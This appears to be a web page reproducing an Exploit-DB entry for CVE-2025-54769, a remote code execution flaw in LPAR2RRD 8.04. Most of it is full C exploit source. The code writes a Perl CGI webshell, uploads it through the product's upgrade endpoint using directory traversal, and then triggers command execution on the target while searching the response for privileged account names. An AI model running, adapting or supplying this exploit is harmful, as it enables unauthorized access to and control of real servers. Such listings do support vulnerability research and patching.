LPAR2RRD 8.04 – Remote Code Execution (RCE)

Exploit Details

Basic Information

Exploit Title LPAR2RRD 8.04 – Remote Code Execution (RCE)
Exploit ID EDB-ID:52391
Type exploitdb
Published 2025-08-03T00:00:00
Modified 2025-08-03T00:00:00

CVSS Information

CVSS Score 8.8
Severity HIGH
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2025-54769

Exploit Description

/ * Author : Byte Reaper * Title : LPAR2RRD 8.04 – Remote Code Execution (RCE) * CVE : CVE-2025-54769 …

Exploit Code

/*

* Author : Byte Reaper

* Title : LPAR2RRD 8.04 – Remote Code Execution (RCE)

* CVE : CVE-2025-54769

* Vulnerability: RCE && directory traversal

* Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint,

* exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.

*/

#include

#include

#include

#include “argparse.h”

#include

#include

#include

#define FULL 2500

void sleepAssembly()

{

struct timespec s ;

s.tv_sec = 0;

s.tv_nsec = 500000000;

__asm__ volatile

(

“mov $35, %%rax\n\t”

“xor %%rsi, %%rsi\n\t”

“syscall\n\t”

:

: “D” (&s)

: “rax”,

“rsi”,

“memory”

);

}

void syscallLinux()

{

__asm__ volatile

(

“mov $0x3C, %%rax\n\t”

“xor %%rdi, %%rdi\n\t”

“syscall\n\t”

:

:

:”rax”, “rdi”

);

}

int fileS = 0;

int useCookies = 0;

int verboseMode = 0;

const char *cookies;

const char *ip = NULL;

int portService = 0;

int port = 0;

int protocolS = 0;

const char *protocol = NULL;

int CreateFilePerl()

{

FILE *fileP = fopen(“users.pl”, “w”);

if (fileP == NULL)

{

printf(“\e[1;31m[-] Error Create File (users.pl)\e[0m\n”);

syscallLinux();

return 0;

}

printf(“[+] Create File Successfully\n”);

char payloadContent[7000];

int payload = snprintf(payloadContent,

sizeof(payloadContent),

“#!/usr/bin/perl\n”

“use strict;\n”

“use warnings;\n”

“use CGI;\n”

“my $q = CGI->new;\n”

“my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n”

“if ( $PAR{cmd} && $PAR{cmd} eq \”commandLinux\”)\n”

“{\n”

“\tprint \”Content-type: text/html\\n\\n\”;\n”

“\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n”

“\tprint $commandW;\n”

“}\n”

);

if (payload < 0 || (size_t)payload >= sizeof(payloadContent))

{

fprintf(stderr,

“\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n”);

syscallLinux();

}

size_t e = strlen(payloadContent);

unsigned long writeLen = fwrite(payloadContent,

1, strlen(payloadContent),

fileP);

if (writeLen != e)

{

printf(“\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n”);

syscallLinux();

return 0;

}

printf(“\e[1;36m[+] Write Payload in File Successfully\e[0m\n”);

fclose(fileP);

return 1;

}

const char *resultCommand[] =

{

“root”,

“admin”,

“user”,

“ssh”,

“/home/”,

NULL

};

struct Mem

{

char *buffer;

size_t len;

};

size_t write_cb(void *ptr,

size_t size,

size_t nmemb,

void *userdata)

{

size_t total = size * nmemb;

struct Mem *m = (struct Mem *)userdata;

char *tmp = realloc(m->buffer, m->len + total + 1);

if (tmp == NULL)

{

fprintf(stderr, “\e[1;31m[-] Failed to allocate memory!\e[0m\n”);

syscallLinux();

}

m->buffer = tmp;

memcpy(&(m->buffer[m->len]), ptr, total);

m->len += total;

m->buffer[m->len] = ‘\0’;

return total;

}

void getRequest(CURL *curl, const char *targetIP)

{

struct Mem responseGet ;

responseGet.buffer = NULL;

responseGet.len = 0;

CURLcode codeLib;

char full[FULL];

const char *proto = protocolS ? protocol : “https”;

int prt = portService

? port

: (strcmp(proto, “http”) == 0 ? 80 : 443);

int n = snprintf(full, sizeof(full),

“%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux”,

proto, targetIP, prt);

if (n < 0 || (size_t)n >= sizeof(full))

{

fprintf(stderr, “\e[1;31m[-] URL buffer too small\e[0m\n”);

syscallLinux();

}

curl_easy_setopt(curl, CURLOPT_URL, full);

curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);

curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);

curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);

curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);

sleepAssembly();

curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);

if (useCookies)

{

curl_easy_setopt(curl,

CURLOPT_COOKIEFILE,

cookies);

curl_easy_setopt(curl,

CURLOPT_COOKIEJAR,

cookies);

}

if (verboseMode)

{

printf(“\e[1;35m——————————————[Verbose Curl]——————————————\e[0m\n”);

curl_easy_setopt(curl,

CURLOPT_VERBOSE,

1L);

}

printf(“\e[1;37m[+] GET URL: %s\e[0m\n”,

full);

struct curl_slist *headers = NULL;

headers = curl_slist_append(headers ,

“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”);

headers = curl_slist_append(headers,

“Accept-Language: en-US,en;q=0.5”);

headers = curl_slist_append(headers,

“Accept-Encoding: gzip, deflate, br”);

headers = curl_slist_append(headers,

“Upgrade-Insecure-Requests: 1”);

headers = curl_slist_append(headers,

“Sec-Fetch-Dest: document”);

headers = curl_slist_append(headers,

“Sec-Fetch-Mode: navigate”);

headers = curl_slist_append(headers,

“Priority: u=0, i”);

headers = curl_slist_append(headers,

“Pragma: no-cache”);

headers = curl_slist_append(headers,

“Cache-Control: no-cache”);

headers = curl_slist_append(headers,

“Connection: keep-alive”);

curl_easy_setopt(curl,

CURLOPT_HTTPHEADER,

headers);

codeLib = curl_easy_perform(curl);

curl_slist_free_all(headers);

if (codeLib == CURLE_OK)

{

printf(“\e[1;35m=================================================== [GET] ===================================================\e[0m\n”);

long codeH = 0;

curl_easy_getinfo(curl,

CURLINFO_RESPONSE_CODE,

&codeH);

printf(“\e[1;36m[+] Request GET sent successfully\e[0m\n”);

printf(“\e[1;32m[+] Http Code -> %ld\e[0m\n”, codeH);

if (responseGet.buffer)

{

if (verboseMode)

{

printf(“\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n”);

printf(“%s\n”, responseGet.buffer);

printf(“\e[1;35m===================================================================================================================\e[0m\n”);

}

}

if (codeH >= 200 && codeH < 300)
{

printf(“\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
printf(“\e[1;32m[+] Http Code -> %ld\e[0m\n”, codeH);

if (responseGet.buffer)

{

printf(“\e[1;35m=================================================== [RESPONSE] ===================================================\n”);

printf(“%s\n”, responseGet.buffer);

printf(“\e[1;32m[+] Len Response : %zu\e[0m\n”,

responseGet.len);

printf(“\e[1;35m===================================================================================================================\n”);

for (int j = 0; resultCommand[j]; j++)

{

if (strstr(responseGet.buffer, resultCommand[j]))

{

printf(“\e[1;34m[+] Word Found In Response.\e[0m\n”);

printf(“\e[1;34m[+] Word : %s\e[0m\n”,

resultCommand[j]);

printf(“\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n”);

}

else

{

if (verboseMode)

{

printf(“\e[1;31m[-] Not Found Word In Response : %s\e[0m\n”,

resultCommand[j]);

}

else

{

continue;

}

}

}

}

else

{

printf(“\e[1;31m[-] Response Server Is NULL !\e[0m\n”);

if (verboseMode)

{

printf(“\e[1;31m[-] Exit Syscall\e[0m\n”);

}

}

}

else

{

printf(“\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
if (verboseMode)

{

if (responseGet.buffer)

{

printf(“\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n”);

printf(“%s\n”, responseGet.buffer);

printf(“\e[1;32m[+] Len Response : %zu\n”,responseGet.len);

printf(“\e[1;35m\n=============================================================================================\e[0m\n”);

}

}

}

}

else

{

fprintf(stderr,”\e[1;31m[-] Error Send Request\e[0m\n”);

fprintf(stderr,”\e[1;31m[-] Error : %s\e[0m\n”, curl_easy_strerror(codeLib));

syscallLinux();

}

free(responseGet.buffer);

responseGet.buffer = NULL;

responseGet.len = 0;

curl_easy_cleanup(curl);

}

void remoteCode(const char *ipS)

{

CURL *curl = curl_easy_init();

struct Mem response;

response.buffer = NULL;

response.len = 0;

CURLcode codeLibCurl;

if (verboseMode)

{

printf(“\e[1;35m================================== [Value Response] ==================================\n”);

printf(“\e[1;32m[+] Response Buffer -> %s\e[0m\n”, response.buffer);

printf(“\e[1;32m[+] Response Len -> %zu\e[0m\n”, response.len);

printf(“\e[1;35m=======================================================================================\n”);

}

if (!curl)

{

fprintf(stderr, “\e[1;31m[-] Failed to init CURL\e[0m\n”);

syscallLinux();

}

char full[FULL];

const char *proto = protocolS ? protocol : “https”;

int prt = portService

? port

: (strcmp(proto, “http”) == 0 ? 80 : 443);

int n = snprintf(full,

sizeof(full),

“%s://%s:%d/lpar2rrd-cgi/upgrade.sh”,

proto, ipS, prt);

if (n < 0 || (size_t)n >= sizeof(full))

{

fprintf(stderr, “\e[1;31m[-] URL buffer too small\e[0m\n”);

syscallLinux();

}

if (!CreateFilePerl())

{

fprintf(stderr,

“\e[1;31m[-] Failed to create File users.pl\e[0m\n”);

syscallLinux();

}

printf(“\e[1;34m[+] Uploading %s to %s\n”, “users.pl”, full);

curl_mime *form = curl_mime_init(curl);

curl_mimepart *field = curl_mime_addpart(form);

curl_mime_name(field,

“upgfile”);

curl_mime_filedata(field,

“users.pl”);

curl_mime_filename(field,

“users.pl”);

curl_mime_type(field,

“application/x-perl”);

curl_easy_setopt(curl,

CURLOPT_URL,

full);

curl_easy_setopt(curl,

CURLOPT_POST,

1L);

curl_easy_setopt(curl,

CURLOPT_MIMEPOST, form);

curl_easy_setopt(curl,

CURLOPT_WRITEFUNCTION,

write_cb);

curl_easy_setopt(curl,

CURLOPT_WRITEDATA, &response);

curl_easy_setopt(curl,

CURLOPT_FOLLOWLOCATION,

1L);

curl_easy_setopt(curl,

CURLOPT_CONNECTTIMEOUT,

5L);

sleepAssembly();

curl_easy_setopt(curl,

CURLOPT_TIMEOUT,

10L);

if (useCookies)

{

curl_easy_setopt(curl,

CURLOPT_COOKIEFILE,

cookies);

curl_easy_setopt(curl,

CURLOPT_COOKIEJAR,

cookies);

}

if (verboseMode)

{

printf(“\e[1;35m——————————————[Verbose Curl]——————————————\e[0m\n”);

curl_easy_setopt(curl,

CURLOPT_VERBOSE,

1L);

}

struct curl_slist *headers = NULL;

char host[128];

int lenIp = snprintf(host ,

sizeof(host),

“Host: %s:%d”,

ipS, prt);

if (lenIp < 0 || (size_t)lenIp >= sizeof(host))

{

printf(“\e[1;31m[-] IP Address is Long !\e[0m\n”);

syscallLinux();

}

headers = curl_slist_append(headers,

“Accept: */*”);

headers = curl_slist_append(headers,

“Accept-Language: en-US,en;q=0.5”);

headers = curl_slist_append(headers,

“Accept-Encoding: gzip, deflate, br”);

headers = curl_slist_append(headers,

“X-Requested-With: XMLHttpRequest”);

headers = curl_slist_append(headers,

“Connection: keep-alive”);

headers = curl_slist_append(headers,

“Priority: u=0”);

headers = curl_slist_append(headers, “Authorization: “);

headers = curl_slist_append(headers, “Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0”);

headers = curl_slist_append(headers ,

host);

void *m = memset(host , 0, sizeof(host));

if (m == NULL)

{

fprintf(stderr,”\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n”);

syscallLinux();

}

int lenO = snprintf(host ,

sizeof(host),

“Origin: https://%s:%d”,

ipS, prt);

if (lenO < 0 || (size_t)lenO >= sizeof(host))

{

syscallLinux();

}

headers = curl_slist_append(headers,

host);

curl_easy_setopt(curl,

CURLOPT_HTTPHEADER,

headers);

codeLibCurl = curl_easy_perform(curl);

curl_mime_free(form);

curl_slist_free_all(headers);

if (codeLibCurl != CURLE_OK)

{

fprintf(stderr, “\e[1;31m[-] curl error: %s\e[0m\n”,

curl_easy_strerror(codeLibCurl));

syscallLinux();

}

long httpCode = 0;

curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,

&httpCode);

printf(“\e[1;36m[+] Protocol : %s\e[0m\n”, protocol);

printf(“\e[1;36m[+] Port : %d\e[0m\n”, port);

printf(“\e[1;32m[+] Http Code -> %ld\e[0m\n”, httpCode);;

if (httpCode >= 200 && httpCode < 300)
{

printf(“\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
if (response.buffer)

{

printf(“\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n”);

printf(“%s\n”, response.buffer);

printf(“\e[1;32m [+] Len Response : %zu\e[0m\n”,response.len);

printf(“\e[1;35m\n=============================================================================================\e[0m\n”);

if (strstr(response.buffer, “This file doesn’t look like the upgrade package”))

{

printf(“\e[1;34m[+] Sentence found in reply.\e[0m\n”);

printf(“\e[1;34m[+] Sentence : This file doesn’t look like the upgrade package\e[0m\n”);

printf(“\e[1;34m[+] Exploitation is being completed…\e[0m\n”);

getRequest(curl, ipS);

}

}

else

{

fprintf(stderr,”\e[1;31m[-] Response Buffer is NULL\e[0m\n”);

fprintf(stderr,”\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n”);

if (verboseMode)

{

fprintf(stderr,”\e[1;31m[-] Exit Syscall…\e[0m\n”);

}

syscallLinux();

}

}

else

{

printf(“\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
if (verboseMode)

{

if (response.buffer)

{

printf(“\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n”);

printf(“%s\n”, response.buffer);

printf(“\e[1;32m[-] Len Response : %zu\n”,response.len);

printf(“\e[1;35m\n=============================================================================================\e[0m\n”);

}

}

}

free(response.buffer);

response.buffer = NULL;

response.len = 0;

curl_easy_cleanup(curl);

}

int main(int argc,

const char **argv)

{

printf(

“\e[1;31m”

“▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖ \n”

“▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌ \n”

“▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌ ▌▙▌▄▌ \n”

“\e[1;37m\t\tByte Reaper\n”

);

curl_global_init(CURL_GLOBAL_DEFAULT);

printf(“\e[1;31m————————————————————————————\e[0m\n”);

struct argparse_option options[] =

{

OPT_HELP(),

OPT_STRING(‘i’,

“ip”,

&ip,

“Enter Target IP”),

OPT_STRING(‘c’,

“cookies”,

&cookies,

“cookies File”),

OPT_INTEGER(‘p’,

“port”,

&port ,

“Enter Target Port Service”),

OPT_STRING(‘t’,

“protocol”,

&protocol,

“Enter Protocol Service (http / https)”),

OPT_BOOLEAN(‘v’,

“verbose”,

&verboseMode,

“Verbose Mode”),

OPT_END(),

};

struct argparse argparse;

argparse_init(&argparse,

options,

NULL,

0);

argparse_parse(&argparse,

argc,

argv);

in_addr_t q = inet_addr(ip);

if (q == INADDR_NONE)

{

printf(“\e[1;31m[-] Invalid Ip String !\e[0m\n”);

syscallLinux();

}

if (!ip)

{

fprintf(stderr,”\e[1;31m[-] Please Enter Target IP !\e[0m\n”);

fprintf(stderr,”\e[1;31m[-] Ex : ./exploit -i \e[0m\n”);

fprintf(stderr,”\e[1;31m[-] Exit Syscall\e[0m\n”);

syscallLinux();

}

if (verboseMode)

{

verboseMode = 1;

}

if (cookies)

{

useCookies = 1;

}

if (port)

{

portService = 1;

}

if (protocol)

{

protocolS = 1;

}

remoteCode(ip);

curl_global_cleanup();

return 0;

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.